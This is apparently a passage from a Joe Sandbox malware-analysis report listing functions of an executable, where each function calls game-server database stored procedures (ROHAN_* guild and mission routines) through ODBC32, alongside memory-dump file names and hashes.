                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042D7EA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FD,00000064,00000000,?,00000000,?,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042D82A
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetTNGuildNotice](?, ?)}, xrefs: 0042D76D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetTNGuildNotice](?, ?)}
                                                                                                                            • API String ID: 0-2045539017
                                                                                                                            • Opcode ID: 3af372faad13633c7022b6da74fa067e679f7fce53d7c7634da3a01c051d59f6
                                                                                                                            • Instruction ID: 83d8d9e3ac75bddcb8201c21d0b34fc3242e75a2f12277addd0b1e01748c3f15
                                                                                                                            • Opcode Fuzzy Hash: 3af372faad13633c7022b6da74fa067e679f7fce53d7c7634da3a01c051d59f6
                                                                                                                            • Instruction Fuzzy Hash: 372121B0A45618ABEB24CF44CC51FAB7375FF89715F108289F618AF2C5D671AD408F58
                                                                                                                            Function 00442776 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_CompleteCharMission] (?, ?)},000000FD), ref: 00442796
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004427D5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0044280A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00442842
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_CompleteCharMission] (?, ?)}, xrefs: 0044278D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_CompleteCharMission] (?, ?)}
                                                                                                                            • API String ID: 0-2709835756
                                                                                                                            • Opcode ID: ffc779b9437d2e93a98b83d65a87f7d993b10126651bd9a7c4da32690eb840d7
                                                                                                                            • Instruction ID: a1bd9bce201a4be3220daa4e663255f0132f2136d9568cfd02fc2dd4aa5fe337
                                                                                                                            • Opcode Fuzzy Hash: ffc779b9437d2e93a98b83d65a87f7d993b10126651bd9a7c4da32690eb840d7
                                                                                                                            • Instruction Fuzzy Hash: CB2103B4A40315ABEB24CF44CC92FDA73B5EB44714F20819DF6186F6C5D6716E418F48
                                                                                                                            Function 004287CD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DelGuildWar](?,?) } ,000000FD), ref: 004287F6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00428849
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042887E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004288B6
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DelGuildWar](?,?) } , xrefs: 004287ED
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DelGuildWar](?,?) }
                                                                                                                            • API String ID: 0-1683640527
                                                                                                                            • Opcode ID: 2355a40967b8f6eef2421587ff9e668f63d32dd34fb2dc67386bab1637ad1d80
                                                                                                                            • Instruction ID: f8f9185c1f47088625efbae086c2d32af69b6916e850b5ef5be82e1e9e0973ba
                                                                                                                            • Opcode Fuzzy Hash: 2355a40967b8f6eef2421587ff9e668f63d32dd34fb2dc67386bab1637ad1d80
                                                                                                                            • Instruction Fuzzy Hash: 4F2103B0A50718BFEB25CF44CC52FAA7378EB44B19F14C289F6186E2D4D6B56E408F58
                                                                                                                            Function 0043B376 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?, {? = CALL [ROHAN_DelIndunRestrictInfo] (?, ?)},000000FD), ref: 0043B39F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043B3E1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043B416
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043B44E
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_DelIndunRestrictInfo] (?, ?)}, xrefs: 0043B396
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_DelIndunRestrictInfo] (?, ?)}
                                                                                                                            • API String ID: 0-724595896
                                                                                                                            • Opcode ID: 0addc4d57938ad7a5c05c8ae48360b53d5035cbd2388c157dceb7f462f1de2df
                                                                                                                            • Instruction ID: 5c2b3f5384d84b7d0e91806d4a5862592311c0ce3c3bb5df0e5103a94e33bffc
                                                                                                                            • Opcode Fuzzy Hash: 0addc4d57938ad7a5c05c8ae48360b53d5035cbd2388c157dceb7f462f1de2df
                                                                                                                            • Instruction Fuzzy Hash: 592106B1650254ABEB24CF44CC52FA97375FB84718F14868AF7187E2C4D6F66D408F58
                                                                                                                            Function 00424743 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetNGuild] (?,?) } ,000000FD), ref: 00424763
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00424793
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004247BF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004247EB
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetNGuild] (?,?) } , xrefs: 0042475A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetNGuild] (?,?) }
                                                                                                                            • API String ID: 0-2583683699
                                                                                                                            • Opcode ID: a077adedb49ead1142c0b4670b369198823f5e71d1a6c08dee7b5089639d5126
                                                                                                                            • Instruction ID: 6bb08db0ccc9a0cd396aacf9559b00ee7543fa87f0df4d9a3ed4f474c9cd20f6
                                                                                                                            • Opcode Fuzzy Hash: a077adedb49ead1142c0b4670b369198823f5e71d1a6c08dee7b5089639d5126
                                                                                                                            • Instruction Fuzzy Hash: 1021B3B1A44608ABEB24DFA4CC52F9D7775EB44B18F30820DF7206F2C6D6B568508F58
                                                                                                                            Function 00424981 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetNGuildMark] (?,?) } ,000000FD), ref: 004249AA
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004249E9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00424A21
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00424A59
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetNGuildMark] (?,?) } , xrefs: 004249A1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetNGuildMark] (?,?) }
                                                                                                                            • API String ID: 0-2801385250
                                                                                                                            • Opcode ID: 3c43a63b4b21234b863cc82aab380b39b33048c48b7dc6567e6b4066017ee314
                                                                                                                            • Instruction ID: 0e69e4e140e0ffdc81192e8c226cc7ffb4c481c02f3af244afeb26c351eb74ef
                                                                                                                            • Opcode Fuzzy Hash: 3c43a63b4b21234b863cc82aab380b39b33048c48b7dc6567e6b4066017ee314
                                                                                                                            • Instruction Fuzzy Hash: E12110B4B40318BFEB24CF44CC42F9A7375EB85B18F208289F7586E2C4D6B169808B59
                                                                                                                            Function 00424B0D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetNGuildMember] (?,?) } ,000000FD), ref: 00424B36
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00424B75
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00424BAD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00424BE5
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetNGuildMember] (?,?) } , xrefs: 00424B2D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
